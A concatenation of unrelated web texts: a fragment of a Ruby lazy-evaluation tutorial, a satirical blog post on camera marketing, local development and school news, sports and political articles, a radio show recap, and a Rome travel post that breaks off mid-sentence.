Enumerator::Lazy#collect block calls the yielder, passing the result of my block onto the rest of the enumeration.  This is the key to lazy evaluation in Ruby. Each value from the data source is yielded to my block, and then the result is immediately passed along down the enumeration chain. This enumeration is not eager – the Enumerator::Lazy#collect method does not collect the values into an array. Instead, each value is passed one at a time along the chain of Enumerator::Lazy objects, via repeated yields. If I had chained together a series of calls to collect or other Enumerator::Lazy methods, each value would be passed along the chain from one of my blocks to the next, one at a time:  Lazy evaluation: executing code backwards  Why is this chain lazy evaluation? Why does this allow Ruby to avoid an endless loop and provide me with just the values I need? The answer is that the code at the end of the enumeration chain, in my example the first(10) method call, controls how long the enumeration runs:  At the end of the enumeration chain the values are yielded to the Enumerable#first method:  After the Enumerable#first method receives enough values, 10 in my example, it stops the iteration by raising an exception.  In other words, the code at the right side of my enumeration chain, the code at the end, actually controls the execution flow. The Enumerable#first both starts the iteration by calling each on the lazy enumerators, and ends the iteration by raising an exception when it has enough values.  At the end of the day, this is the key idea behind lazy evaluation: the function or method at the end of a calculation chain starts the execution process, and the program’s flow works backwards through the chain of function calls until it obtains just the data inputs it needs. Ruby achieves this using a chain of Enumerator::Lazy objects, as we’ve seen above. However, functional languages such as Haskell implement this in a deeper, more fundamental way, that encompasses all execution and not just enumeration.
-There’s an old saying among lawyers, in many variations, but all are similar to this:  “If you have the facts, pound home the facts. If you have the law, pound home the law. If you have neither, pound on the table.”  For photography, I would assume it would go something like this:  “If you have the technology, pound home the technology. If you have better images, pound home the images. If you have neither, blow smoke up their . . . . “  Because most companies apparently use the third option for most of their marketing, I am left to assume none of them are comfortable that their technology or images are significantly better than the competition’s.  You may wonder why I care. There’s a pretty simple reason: I’m a gear head. I want facts. Marketing drivel makes it even harder to find the little bit of factual information that the manufacturers grudgingly release. It gets lost in all the meaningless marketing noise.  I spent as much time as I could stand wandering through the various advertisements and web pages of a few camera companies, finding some gems to nominate for “awfulness” awards.  I planned on calling them The Innovative, Groundbreaking, World-Class, Next-Generation, State-of-the-Art, Fastest, Revolutionary, Feature-Rich, Bad Photography Marketing Awards, since those seem to be the most overused catch phrases.  Unfortunately that already wouldn’t fit on our blog page. I thought of calling them The Rogers, kind of like the Oscars, but then found out I was nominated for one. If I won, it would seem kind of fixed with Roger winning a Roger. So Bad Marketing Awards it is.  Voting is simple: just go to this Survey Monkey, place your vote for each nominee, and we’ll tally them up after a couple of weeks and announce the winners.  Why just a couple of weeks? Because I’ll bet right now that half these award nominees quietly disappear from those websites pretty soon. If they do, I will rest easy knowing I’ve finally made a real contribution to photography.  This is by no means a complete list. But after a few hours of reading what passes for copy at most photography websites, I felt my IQ dropping, and I was starting to talk in worn-out catch phrases.  When I told my wife her new dress was feature-rich yet had an intuitive, easy-to-use interface, my internet connection got unplugged. So please feel free to add your own nominee as a comment. (If this gets anything like the Hammerforum.com post, the comments will be far more entertaining than the blog post.)  The Category Nominees  1) The Count von Count Award  The nominees are:  Nikon for the D800: “36.3 MP means true 1080p HD cinematic quality video.” Let’s see, HD video is 1920 X 1080 pixels which equals 2.1 megapixels. I’m thinking pretty much everybody has 2.1 megapixels.  Olympus for the OM-D E-M5: “The E-M5 is equipped with the world’s first 5-axis image stabilization system, and can compensate for vertical, horizontal, and rotational camera shake.” OK, vertical is one . . .  Olympus for the M.ZUIKO DIGITAL ED 75-300mm f4.8-6.7: “[It] is the world’s smallest and lightest 600mm super telephoto lens.” Yeah, I know what you mean. I’m really pretty insulted you thought I needed you to point that out to me. Not to mention it’s always been my dream to handhold 600mm at f/6.7.  2) The Doublespeak Award (AKA the “It’s a Feature” Award)  To qualify as doublespeak, the phrase must “deliberately disguise, distort, or reverse the meaning in order to deceive.”  The number of nominees in this category was simply staggering. This, of course, is the equivalent to “Best Actor” and “Best Director” wrapped up in one for marketing copywriters. I did my best to pick a true winner, but my brain became numb.  First up is Canon for the EF-S 17-85mm: “The EF-S 17-85mm f/4-5.6 IS USM is a perfect example of this technology.” I’ve shot extensively with that lens. It’s a perfect example of no technology, unless you consider compromised quality to be a technology.  Second nominee is again Canon for the PowerShot s100: “[…] high-sensitivity 12.1 Megapixel 1/1.7-type CMOS sensor.” It may be highly sensitive to something but obviously not pixels. Unless they wrote this back in 2007 for some other camera and just copy-pasted it.  Third we have Panasonic for the G5:  “The LUMIX G5 offers users simple operation controls with minimal stress, so users can concentrate on shooting. A newly added function lever conveniently located near the shutter release allows for direct adjustment of zoom, exposure or aperture control and can be used to magnify images in playback mode and page flip in menu mode.”  Yes, I want a lever capable of changing exposure and aperture control right under my shutter-button finger. How convenient is that??  3) The “Just Zip It” Award  These aren’t quite doublespeak because they don’t disguise or distort. They don’t make the “Say Whhaaat?” category because you can understand what they’re trying to say–you just can’t believe they tried to say it.  Olympus for the OM-D E-M5: “6:6 [aspect ratio] that emulates the medium format look.” We probably have a clear winner here–because we all get micro 4/3 cameras so we can emulate that medium format look.  Olympus for the M. Zuiko Digital ED 12mm f2.0: “It is great for tracking a moving child or pet.” I’d use a GPS device myself. Even then I’m not sure why 12mm would be particularly good for photographing a moving child or pet.  Nikon for the D800: “DX crop mode to maximize […] angle of view[…]” You forgot “and nuke image quality” or “if you don’t have Photoshop.” Or lots of things like that.  Lensrentals.com for the Nikon 85mm f/1.4 G: “They say the main reason Santa is so jolly is because he knows where all the bad girls live. I’m so jolly because I know where all the good lenses live.” What can I say? It’s a gift. And no, I didn’t nominate myself for my own award. The staff insisted via early write-in ballots.  Sigma for the 300-800mm lens: “A perfect lens for surveillance use, its stealth black finish is unobtrusive and easily concealed.” OK, exactly how do I easily conceal this 3-foot long, 13-pound lens? Or is unobtrusive the same as incredibly huge?  4) The Daytime Drama Dialogue Award  To be nominated in this category, the copy had to 1) make me distinctly nauseous and 2) make me think “you have absolutely no facts worth using, do you?”  The first nomination goes to Nikon (or maybe Ashton) for the J1: “Your zest for life is fueled by a desire to communicate all that you experience. Share the very incredible world that is yours with Nikon 1.” I almost hurled again just pasting it in here. I apologize to myself for putting this on my own blog page. I think the complete text should read “share the very incredible world that is yours with both of your Facebook friends.”  The second nomination is Olympus for the OM-D E-M5: “When shooting, the photographer can instantly ‘create’ a truly unique world and preserve it in exceptional quality. The ‘world’ will be transformed from something you see to something you ‘take part’ in.” This one also receives a special nomination for most use of quotation marks in a single sentence.  And back to Nikon for the V1: “Nikon 1 V1 for your pursuit to express every moment of life. Your photography sparks conversations—the Nikon 1 V1 helps you interpret all. Set your creative freedom free with an imaging system designed for today and tomorrow.” You think there’s any chance the same person wrote copy for both the J1 and V1? Just maybe?  Finally, with all due modesty, I must nominate Lensrentals.com for the Canon 300mm f/2.8L IS II: “When the lens mount hits your camera and you raise the two in unison to your face, sparks will fly and the stars will align. You’ll find yourself in the land of Phototopia, full of razor-sharp images.” It may not have the widespread exposure of the other nominees, but like an Indie film nominated for an Oscar, the critics will all love this one.  5) The “Say Whhaaat?” Award  These were, I think, attempts to get into the doublespeak category but were so bizarre I’m not even certain what they meant to say.  Canon for the G12: “[…] 720p HD Video with stereo sound to get crystal clear footage.” The last time I heard footage was . . . well, it was a really long time ago and some magic mushrooms were involved. Thinking back though, maybe I saw music. I’m not sure. Looks like some Canon copywriters are expanding their consciousness.  Sigma for the 150-500mm: “[…] allows photographers to freely explore the flexibility of a telephoto zoom lens.” This almost made the Daytime Drama awards and probably would have if they’d gone on just a bit longer. But I remain rather puzzled about the concept of freely exploring lenses. If I want to explore a lens, I take it apart. Otherwise I take pictures with it.  Panasonic for the G5:  “Touch screen operation on the LCD screen allows for simple shooting or playback of images and the new Touch Pad function enables the use of both LVF and LCD simultaneously, which encourages more intuitive shooting.”  I’m truly, truly trying to understand what this means. Especially how using both LVF and LCD simultaneously can encourage me to be intuitive. This was a near nominee in the Grammar Checker category also.  6) The “You’re Letting the Intern Write Copy, Aren’t You?” Award  The first nominee is Panasonic for this doozy of a sentence:  “When used with the LUMIX G5, the full line of high-grade lens combines with its precision AF (Auto Focus) to achieve high resolutions, with an optimal balance of resolution and noise reduction to produce lifelike image rendering and high precision auto exposure and white balance for faithful color reproduction.”  By the way, Panasonic, does that mean that the full line of high-grade lenses doesn’t do any of that stuff on my GH-2? And also, by the way, where do we divide the high-grade lenses from the low-grade lenses? I mean, if you’ve got some high-grade ones, you must have some low-grade ones, right?  The second nominee is Fuji for the X100: “23mm F2 Single Focal Lens (Equivalent to 35mm/135 Format).” I’m not familiar with the 35mm/135 format.  Author’s note: Obviously I screwed up on this one. Having begun photography with digital (Apple Quick Take in 1994 and digital microscopy processed through NIH Image) to an EOS D30 I don’t know my film terms, obviously. So on this one you can laugh at me rather than Fuji.  Third, and nearly sweeping the nominations, is Panasonic for the G5:  “Featuring a compact, lightweight body with built-in flash, the LUMIX G5 boasts ultra-high mobility while offering users a powerful camera performance which achieves spectacular image quality, realizing true-to-life photo details through excellent resolution, image rendering and color production.”  7) Worst Graphic or Chart  For this category, we have Canon for the indecipherable icon feature charts. Decide which of these, for example, is the $6,000 camera and which is the $800 camera.  Canon for their “Creativity in Motion” graph.  I guess the units for the X-axis are numbers. Maybe you count up the number of icons each camera gets from the nominee above. But what are the units for creativity? Minutes of footage?  Assuming it’s a linear graph, then is it accurate to say the EOS C300 is 2.85 times as creative as a Powershot S100? Or is it logarithmic and the C300 is actually 2,850 times as creative as the S100? I’m confused.  Sony for the NEX Lens Roadmap graphic. Could it possibly be any more vague?  Compare it to the Fuji X roadmap or the micro 4/3 roadmap. No, really it’s better if you don’t. They actually have radical things like telling you the focal length and aperture of the upcoming lenses.  And Finally, A Winner by Default  Worst Website Makeover Award  This one is not even close: Nikon wins by a landslide.  I just don’t see how anyone can compete in this category. This could be a Lifetime Achievement Award kind of thing. Never have so few web designers done so much, in so short a time, to ruin a good website.  It’s sad, really. Nikon for years has had perhaps the easiest-to-navigate, cleanly-information-packed website of all the camera makers. I guess they thought cleanly presented factual information just went out of style.  It starts on the main page where the head banner rotates through various products, including your usual tattooed girl with bizarre hair and a snake.  Below that, of course, things get really bizarre. We get introduced to the current Holy Trinity of Nikon: the V1/J1 camera, the 18-300 lens, and . . . Ashton. If I’m going to Nikon’s page, those are the three things I want to see first. (Not!!)  “Small is now Huge.” What does that mean, really? Are we talking about cameras still, or are we talking about Ashton? Now we can go directly from the front page of Nikon USA to the “Ashton Website” and see such photographically important things as Ashton getting covered with aluminum tinsel and shot out of a cannon.  I guess Nikon missed that cannon-Canon reference. It is sort of a good start, though, because they need to blow this stuff up quickly.  Can we please, please go back to the Nikon USA website pre-Ashton?  Not to Mention Nikon Starts a New Lens Grouping Standard  I still expected that once I got past the front-page fluff I’d be back in logical Nikon land.  Not so much. If you click on the lenses section, you enter a reality distortion field. I expected an overview page where I could select wide-angle, standard or telephoto. Maybe they would also be separated into zooms and primes. We all know the drill.  But Nnnnoooooo! I get to choose from the following categories:  Travel and Landscape Lenses  People and Event Lenses  Sports and Action Lenses  Macro Lenses  OK, I know what’s behind curtain No. 4. But what the hell are those other things? I want to look into some wide aperture lenses. Where do I go? Travel and Landscape maybe. I’ll try that.  Travel and Landscape does, indeed, have the Nikon 10-24mm f/3.5-4.5 and the 16-35mm f/4 VR. But it doesn’t have the 14-24mm f/2.8 or 12-24mm f/4 DX. So I guess I shouldn’t use those two for landscape work. Or maybe I’m not supposed to travel with them.  I’m really, really trying to figure out why the landscape and travel category contains those first two but not the second two. I’m also wondering where the 14-24mm f/2.8 could be.  Ah! I found the 14-24mm f/2.8. It’s a Sports and Action lens! Of course! You see it on the sidelines at all those sporting events, right?  But wait! The Nikon 10-24mm f/3.5-4.5 is also a sports and action lens. So it’s twice as useful. Uh-oh. Wait. I got that wrong. It’s three times as useful. Because it appears the 10-24mm is also a People and Events lens.  I knew that. Well, actually, no I didn’t.  The 300mm f/4 is also a People and Events lens. But it’s not a Sports and Action Lens. The 80-400 is a Sports and Action Lens, though. (It says “freeze the excitement” at the top of the Sports and Action page– that’s what I reach for to freeze the action: an f/5.6 zoom with nearly adequate image quality.)  I did find one way to navigate Nikon’s lens pages without going insane. Use the Wayback Machine to look at versions a few months old. Things actually made sense then.  I will give an honorable mention award to Panasonic for their camera informational pages that run 10 to 12 screens long. I thought I was going to get carpal tunnel from spinning the scroll wheel while reading about a camera.  Hyperlinks, Panasonic. It’s a new concept but I think it’s going to catch on.  I know this isn’t nearly all of them.  So leave a comment with your own nominee if you like. Otherwise, you can place your votes at this Survey Monkey.  Just for voting you can download this macro shot of a shorted-out PCB to use as a screen saver or background.  (This image is particularly useful when your computer-illiterate friend asks you to look at his laptop because it’s running slow: you just download it, make it the background, tell him you’ve programmed the webcam to reverse itself and take a picture of the circuit board of the computer, showing him the problem. Then tell him it’s not fixable so he should just give you the laptop before that burn spreads further.)  We’ll tally things up and see if we can’t send the winners something appropriate–like maybe a Thesaurus or something.  Roger Cicala  Lensrentals.com  August 2012
-Mac Properties plans four-corner food startup village at Armour and Troost  Mac Properties’ Kansas City arm wants to turn a “sleepy intersection” on Troost into a four-corner incubator for thriving residential and restaurant activity.  The vision is to create a “food startup village” as the foundation of the development, which would bring 400 new market rate apartments to Armour Boulevard and Troost, said Peter Cassel, director of community development at Mac Properties.  “For us, the most critical, transformative component is the opportunity to build approximately 20,000 to 30,000 square feet of retail at the ground floor, which is really about creating a new place where Kansas City could come to eat and play,” he said.  Set to open in summer 2019, the project is still in the schematic design phase, but Mac Properties is planning for a series of small-shop retail sites where the developer could build out the spaces to lower the costs of entry for food, beverage and other startups, Cassel said. The idea is to get new businesses started by reducing upfront costs, he said.  “This could be an area where people from east and west of Troost come to gather together,” he said. “Troost has been such a dividing line that we’d like to see it as a gathering place — not only getting local neighborhood people to come, but also thinking of it as a citywide destination, like some of the bars and restaurants in the Crossroads or Martini Corner have been.”  Ideally, the development would feature eight to 10 startup restaurants that could use the space to test and prove out their concepts before potentially growing large enough to move to full-sized restaurant spaces elsewhere, Cassel said.  “As young people come to the city, we think this node at Armour and Troost could be a really important starting place for many of them,” he said.  The project is an extension of Mac Properties’ existing efforts along Armour, which already have seen the development 2,000 apartments in about 30 buildings between Broadway and Troost, Cassel said.  Knowing the intersection of Armour and Troost is a vital node for development along the corridor, members of the Troost Coalition — which crafted a zoning overlay for the area and has some regulatory oversight for development — were thrilled when they learned Mac Properties planned to develop all four corners, said founding member Cathryn Simmons.  “You could’ve knocked most of us over with a feather,” Simmons said. “But we had to say, ‘Because we love it doesn’t mean we’re going to give them an inch of ground.'”  Simmons is proud to see a developer with an established Kansas City footprint punching through Troost with an ongoing push east toward the Paseo, she said.  “If you look at what Mac Properties has already done on Armour, they’re on top of it,” she said. “They don’t let anything go to chance, so that makes us feel good.”  Check out the rest of Startland’s six-part series on new development on Troost Avenue, a historic racial and economic barrier in Kansas City.  Part I: Transforming Troost  Part II: Troost Coalition  Part III: Wonder lofts  Part IV: Back to Troost  Part VI: Troost Collective  Facebook Comments
-The Atlanta Braves  The Atlanta Braves, in the not to distant future, will be playing in a new stadium on new turf. This has many fans, players, and coaches quite nervous, and excited. The turf played on at Turner Field was always one of the Braves advantages. Other teams would visit Turner field and not be able to handle how the ball would play off the turf. The Braves knew how to play it and this is why so many great fielders played on the Braves ball-club.  Many companies are most likely bidding on this project. the question comes back to the best turf to use. Do they join the likes of many other ball fields and use artificial turf, or do they use a grass like they have been using in Turner Field. For your information, the sod they have used at Turner Field is a Bermuda Grass that is drought resistant. This is a good grass to use on Southern stadiums, where in Northern stadiums, Kentucky Bluegrass is usually the choice.  A wise choice would be to seek advice from a turf provider in Richmond. Commonwealth Sports Turf Surfaces is the leading authority on the best playing surfaces for stadiums. They can not only advise on turf choices, but they can provide a comprehensive maintenance plan that would make the players and owners proud of their turf.  New Turf Considerations  When installing turf on baseball, football, and other sport’s fields, there are many factors that need to be considered. Commonwealth Sports Turf would consider:  Player Safety. This must be the first and foremost factor. No team can afford to have injuries because of the turf used on the field.  Durability. The turf gets a lot of abuse from cleats and other actions. It needs to be able to withstand all of it.  Irrigation. Real grass needs water. Consideration needs to be given on how the grass will be watered and fed.  Drainage. Too much water can kill grass. There needs to be a good drainage system.  A plan needs to be put into place for the best turf to install in the Braves new play area. The best way to do this is to first study the soil that exists there now. From that study, choices will be narrowed down. Will the soil handle a Bermuda grass? Does added soil need to be hauled in? What sort of maintenance plan needs to be instituted for the best results depending on the climate?  All eyes are upon the owners and managers of the Atlanta Braves to see what the plan will be. Will the new playing field be fast like Turner Field was in the days that Chipper Jones played? Will they slow it down with a longer and thicker grass that could also cause injuries?  Yes, it is true: the Braves’ new turf is under very close scrutiny. Commonwealth Sports Turf Surfaces.  Image Credit:  Turner Field: Home of the Atlanta Braves by Geoff Livingston
-A new clash over retirement benefits has come to a head following President Obama’s decision to unilaterally protect up to 5 million illegal immigrants from deportation.  The White House now acknowledges that many of the illegal immigrants spared from deportation under Obama’s sweeping executive action will become eligible for Social Security and Medicare benefits once they reach retirement age.  RELATED: Obama edict raises questions about illegal immigrants' benefits  COMMENTARY: How Obama's executive action makes life harder for legal immigrants  The conservative backlash has been swift and will certainly extend into a GOP Congress’ deliberations in 2015 over how to limit the reach of the president’s immigration blueprint.  A central argument in Obama’s defense of the most extensive overhaul to the immigration system in decades was that those given reprieves from deportation would not qualify for Obamacare benefits. The president reminded critics that Dream Act-eligible immigrants previously granted deportation deferrals could not enroll in federal health exchanges.  However, Obama was less eager to wade into the debate about what to do with newly protected immigrants now paying into Social Security. He didn’t address the matter while outlining his immigration plan in a prime-time address to the nation, but White House aides later confirmed GOP suspicions about how Obama’s unilateral move would affect retirement benefits.  MORE: Obama's final reset  Analysts said that Republicans would use the admission to argue the president is misleading the public about the details of his immigration action.  “It is a bit of surprise,” said Michael Tanner, a senior fellow at the Cato Institute who focuses on entitlement programs. “For a long time, there was an argument made by the administration that [undocumented immigrants] would not be eligible for such benefits. It does seem to be a contradiction.”  REPORT: Republicans can block Obama's immigration mandate  For Republicans, this debate is about far more than just Social Security. It fits into the broader narrative of painting the president as unwilling to spotlight an unpopular provision of his agenda until after it has been enacted.  “It’s Obamacare all over again, ‘If you like your doctor, you can keep your doctor,” one House GOP leadership aide told the Washington Examiner. “Obama was very clear on this issue. He said no benefits. What the president says just isn’t credible. That couldn’t be any more obvious by now.”  The administration says Obama’s move is sound fiscal policy, that it makes sense to grow the tax base. They also argue that it would be unfair to force people to pay into Social Security and not reap the same benefits as everybody else.  Immigrants would have to work at least 10 years to qualify for Social Security and Medicare benefits, administration officials said, and Obama’s executive action could always be reversed by any of his successors.  MORE FROM BRIAN HUGHES: No Chicago homecoming for Obama on immigration  Though quiet about the Social Security implications of the president’s latest executive action, the White House has long argued that comprehensive immigration reform would strengthen the long-term outlook of entitlement programs.  “Over 500 days ago, the United States Senate passed legislation with bipartisan support to improve border security, streamline the immigration process and establish a firm but fair path to citizenship,” Vice President Joe Biden wrote in an op-ed this week in Irish Central. “It would be an absolute game-changer for our economy, adding $1.4 trillion to our economy and reducing the deficit by nearly $850 billion over 20 years, and extending the solvency of Social Security by another two years.”  However, some fiscal hawks say that any short-term benefit of having more people paying into Social Security would be eclipsed by the burden of paying out benefits to potentially millions of additional people.  Republicans also point to the illegal immigrants not yet covered by Obama's unilateral action.  “It is also important to keep in mind that while 5 million [illegal immigrants] benefit affirmatively from executive amnesty with work permits, photo ID’s and social security numbers, almost all of the other 7 million illegal immigrants continue to remain functionally immune from enforcement,” said Stephen Miller, a spokesman for Sen. Jeff Sessions, R-Ala. “The problem for American workers will be compounded even more when the amnesty produces the ensuing wave of new illegal and chain migration.”  FURTHER READING: GOP still split over "anti-amnesty" strategy
-Therapeutic day school relocating to Arlington Heights  hello  A private therapeutic day school for students in grades 6-12 is relocating from Niles to Arlington Heights.  New Hope Academy plans to move into an office building at 3250 N. Arlington Heights Road, just south of Dundee Road, before the start of the 2017-18 school year in August, according to Brandy Larrance, the school's executive director.  The school, founded in 2000, educates students with special needs from 35 suburban school districts, including Northwest Suburban High School District 214, Palatine-Schaumburg High School District 211, and school districts as far as Gurnee, Naperville and Yorkville.  There's 65 students enrolled at the school's location at 6289 Howard St. in Niles, but the school plans to increase enrollment to 80 with the move to Arlington Heights, Larrance said.  New Hope will occupy 18,000 square feet of the 73,000-square-foot, multi-tenant office building, which is now about two-thirds vacant. The school would include 12 classrooms, an art studio, gym, cafeteria, staff lounge and offices.  The village board this week approved a land use variation that allows the school to move in.  New Hope plans to install new landscaping before occupancy.
-Justise Winslow didn't need to be told Thursday how much of a difference a year can make.  "It's kind of surreal to think that it was exactly a year to the day," Winslow said Thursday as he addressed the Heat's youth basketball camp at South Broward High School.  Last June, Winslow was a leading NBA draft prospect out of Duke who would take an unexpected dip to the Miami Heat at No. 10. A year later, he was back in South Florida after yet another flight from the scene of the draft in New York, this time after mentoring this year's leading prospects.  "I just told them to be open to everything and don't be closed-minded -- and be on time," Winslow said with a laugh.  For Winslow, the whirlwind of draft night a year ago involved disappointment, elation and ultimately a path that would set him on course for second-team NBA All-Rookie, the Heat's first such selection since 2009.  Thursday afternoon, in addition to confirming he would participate in summer league with the Heat and revealing he already has begun work on adjusting the mechanics on his jump shot, he reflected on his draft-day fall and rise a year ago.  "It was an exciting day, probably the most nervous I've ever been in my life," he said. "But it was fun. I had my whole family there, sitting there. But I really didn't know where I was going to go. I thought I was going to go higher. But it ended getting to the eighth pick. I knew I wasn't going to Detroit [which selected Arizona forward Stanley Johnson]. Then the ninth pick was Charlotte and they passed on me [in favor of Wisconsin forward Frank Kaminsky].  "And so then I remember my agent and my whole agency team jumping up and telling me I'm a lucky guy because I'm going to Miami. So I kind of knew before they actually announced it on the stage. But just walking across the stage and knowing that I was living a dream going to the NBA was very exciting. I just couldn't stop shaking. I was smiling so hard."  Heat forward Justise Winslow named one of 15 players on U.S. National Select Team, to train in Las Vegas in July with Olympic team. Heat forward Justise Winslow named one of 15 players on U.S. National Select Team, to train in Las Vegas in July with Olympic team. SEE MORE VIDEOS  And then Wednesday, amid a promotional appearance in advance of Thursday's draft at Barclays Center in Brooklyn, Winslow, at 20, found himself cast in the role of adviser.  "It's all just surreal, being in New York yesterday, talking to some of the draftees and them asking me questions, them just being so interested and so anxious and nervous for the life that awaits them," he said. "It's just kind of full circle."  As it is, Winslow is one of just four Heat players under fully guaranteed contract for next season, along with Chris Bosh, Goran Dragic and Josh McRoberts. That had him noting one of the biggest adjustments in reaching this next level.  "I was talking to Buddy Hield about it yesterday," he said of the prized scoring guard out of Oklahoma, "just the fact that in college he was surrounded by the same group of guys pretty much all four years. He may have added three guys, lost three guys every season. But, for us, I've probably lost eight guys, gained seven guys this season. And next season might be completely different."  Among Winslow's offseason goals is to train in his Houston hometown with Rockets guard James Harden and also in Miami with Dwyane Wade and other members of the Heat, having resumed workouts two weeks ago.  "Hopefully we can get Dwyane and those guys in the gym," he said. "Hopefully we re-sign Dwyane, first of all."  As for his somewhat-wayward shooting stroke, Winslow said, "I'm really focusing on my shooting mechanics. I'm changing a couple of things."  Then there is another familiar face for Winslow, who shares representation with Oklahoma City Thunder free-agent forward Kevin Durant.  "I mean, I mess with his agent, joking with him," Winslow said. "But, no, he's a good guy. Rich Kleiman and K.D., they're going to make the best decisions for K.D. And so I haven't started publicly recruiting anybody yet, but I might in the next couple of days."  Eventually, Winslow will work with Durant in mid-July in Las Vegas, with Durant on the U.S. Olympic team and Winslow part of a group of young prospects to train against them as the U.S. Select Team.  "It's just kind of like a farm system in a sense," he said. "Whatever I can do to help the country, that's kind of how I see it."  iwinderman@sunsentinel.com. Follow him at twitter.com/iraheatbeat or facebook.com/ira.winderman
-Oct 9, 2016; Washington, DC, USA; Washington Nationals relief pitcher Mark Melancon (43) celebrates after their win against the Los Angeles Dodgers during game two of the 2016 NLDS playoff baseball series at Nationals Park. The Washington Nationals won 5-2.Mandatory Credit: Brad Mills-USA TODAY Sports  The San Francisco Giants and closer Mark Melancon met last week to talk about possibly working out a deal this off-season. Melancon spoke with MLB Network Radio today to discuss the meeting.  Melancon spoke highly of the San francisco Giants organization, and the meeting. He also mentioned that this will be a hard decision. San Francisco certainly has a pitcher friendly ballpark and the Giants also have the commitment to winning that any pitcher would appreciate.  One thing that gets lost with fans, however, is how hard it is for families to uproot and move from city to city. Deciding where to spend the next few years of your life is never an easy choice.  Melancon on #SFGiants meeting: “It was an opportunity to meet & get to know people a little bit in 24 hours, organization speaks for itself” — MLB Network Radio (@MLBNetworkRadio) November 16, 2016  Melancon on choosing a team: “Ultimately I will weigh out by options and figure out what’s best for my family. It’s a tough decision.” #MLB — Casey Stern (@CaseyStern) November 16, 2016  Melancon also spoke about the Pittsburgh Pirates, where he had spent his entire MLB career before being traded in July to Washington. As Melancon and others explore their options in free agency, it is clear that a team that can spend to keep a roster together will play a key role. Pittsburgh’s lack of financial commitment to building on what they had started was clearly frustrating for the former Pirate.  Mark Melancon on #Pirates : “You look back and know we were doing something right. If we just could’ve added one or two more pieces” #MLB — Casey Stern (@CaseyStern) November 16, 2016  Earlier in the off-season, the Giants were clear that they planned on signing one of the big three closers available. Jon Morosi of MLB Network reported earlier in the week that the Giants have already spoken to representatives for Aroldis Chapman, Kenley Jansen and Melancon. One factor that makes Chapman and Melancon more attractive on the free agent market than Jansen is there is no draft pick compensation attached to his signing.  Because both were traded during the season, their previous teams will not receive a first round pick in the June draft if they lose them. Jansen, however, would cost the Giants a first round pick. All of these factors are being weighed right now by general manager Bobby Evans and the front office. The one thing that has become clear is that Mark Melancon was impressed with San Francisco and will be in consideration for his services.  Be sure to check back every day for the latest Hot Stove news about the San Francisco Giants from Around the Foghorn.
-In the first half, former Wall St. executive, Nomi Prins, now a journalist and commentator, discussed the interdependence between America's past 19 presidents to key bankers, and the shocking ways in which the same people, through blood, mentorship and other symbiotic collaborations impact American domestic and foreign policy. There is a definite imbalance of power, when it comes to the cozy relationship between the President's executive branch and bankers, relative to ordinary citizens who are at the bottom rung of power, she noted. Banks take the funds we've deposited, and use them to influence policy, and economies, as well as make an exorbitant amount of money, she continued.  She traced the current imbalance back to the financial Panic of 1907, when Pres. Teddy Roosevelt gave millions to J.P. Morgan, who ended up bailing out his friends' banks, and then in 1913, a group of powerful bankers formed the Federal Reserve. In 1971, bankers such as David Rockefeller and Walter Wriston of Citibank successfully lobbyed Pres. Nixon to get rid of the gold standard. This enabled them to leverage the deposits they had, and speculate more because they didn't have to hold gold behind them, creating a new era of unaccountability, she outlined. Now, for the past couple of decades, thing have been accelerating in the direction of bankers having more and more power, and the Presidents at this point, "don't even pretend to put any accountability on these bankers," Prins lamented.  ------------------------------------------  In the latter half, researcher Jason Martell, talked about ancient advanced technologies, and megalithic monuments aligned with astronomical markers. He was joined for part of the conversation by fellow researcher Amish Shah to share their recent adventures in Dwarka, where an ancient underwater city has been discovered off the coast of India. Through sonar scanning done in the 1980s and 90s, the city was revealed to be twice the size of Manhattan, but it 's never been excavated, said Shah, who added that evidence of stone pieces worn around the neck during ancient wars was found at the location. It's possible that the submerged city could be part of the great lost culture of Atlantis, Martell suggested. More here.  There are hundreds of detailed ancient texts that include astronomical reference points, and geological information, and we can use star charts to pinpoint when the ancient events they wrote about took place, said Martell. Interestingly, in Egypt the Dendera Zodiac shows the skies above Giza at 8,000 BC-- thousands of years before the Egyptian culture should have existed, he marveled. Some of the best evidence for advanced ancient technology comes from samples of vitrification at megalithic sites, he continued. The huge structures were built without mortar, and the only way they could have done that was to have super heated the stones into a magma-like state, which implies the use of a sophisticated technology not associated with the ancients, he explained.  News segment guests: James Sanders, Jerome Corsi, Ian Punnett, Steve Kates
-Having lived in Rome for a few years, I can safely say that I’ve done all the main tourist attractions – some of them several times.  But the one thing on my Rome bucket list that I had yet to check off was the Domus Aurea. It was mostly a matter of practicality. For the past ten years, the Domus Aurea – Nero’s palace - has mostly been off-limits to the general public, as a result of ongoing restoration work.  At last, the Domus Aurea is open to the public. Keen to see the famous remains of Nero’s sprawling pleasure palace, I put on a yellow safety helmet and joined a tour of the Domus Aurea with Roma Experience.  Here’s why you should do the same:  1. You’ve never seen anything like it before  I’ve explored Roman ruins across Italy, but nothing like the Domus Aurea. As I descended into the dark tunnels of these labyrinthine ruins, I felt like I was on a genuine adventure – one of the privileged few who was getting to explore the ruins for the first time in centuries.  After Nero’s death, Trajan built over the remains of the palace, and over the centuries the vast complex was buried underground. It was rediscovered during the Renaissance, when a young man tripped, fell down a hole, and found himself in the cavernous, subterranean rooms of Nero’s palace. Other curious young men soon followed; they brought flaming torches and were amazed to discover beautiful, intricate frescoes. The painted figures of the Domus Aurea were a revelation to the artists of the Renaissance – a window into the world of antiquity. The frescoes had an immense influence on painters such as Raphael, and you can even see traces of the Domus Aurea in 18th century Neoclassical art.  As much as I’ve enjoyed my visits to other Ancient Roman sites, nothing compares to the thrill of discovery when you enter the Domus Aurea. Unlike the Colosseum, which you’ll have seen in countless paintings and photos before you visit for the first time, there’s nothing to prepare you for the Domus Aurea.  Wikipedia  2. Amazing art (and atmosphere)  Although the marble and gilding has long since disappeared some other traces of decoration remain, in the form of delicate frescoes. These are the paintings that captured the imaginations of the Renaissance artists – faded figures of beautiful women, floral frescoes, and mythological scenes.  The art in the Domus Aurea has been damaged by water and the roots of the trees that grow above the roof, and it will take a significant amount of time – and money – to complete the necessary restoration work. However, while the paintings here are not the best examples of well-preserved ancient art, there’s something undeniably beautiful about their faded glory.  Wikipedia  3. Discover the luxurious lifestyle of Nero  Nero has always been my favourite of the “bad emperors”. He was such an extreme character – an emperor who “fiddled while Rome burned”, who supposedly committed incest with his mother, kicked his pregnant wife to death, and then castrated and married a young boy.  While the worst stories about Nero are probably just gossip, there’s no doubt that Nero indulged in an extravagantly luxurious lifestyle. My Domus Aurea tour gave me deeper insight into his life of leisure. I learned how this enormous complex was built in just four years, using an expert team of architects and engineers, and how it was intended to be a “pleasure palace” rather than a place to live.  Suetonius gives us 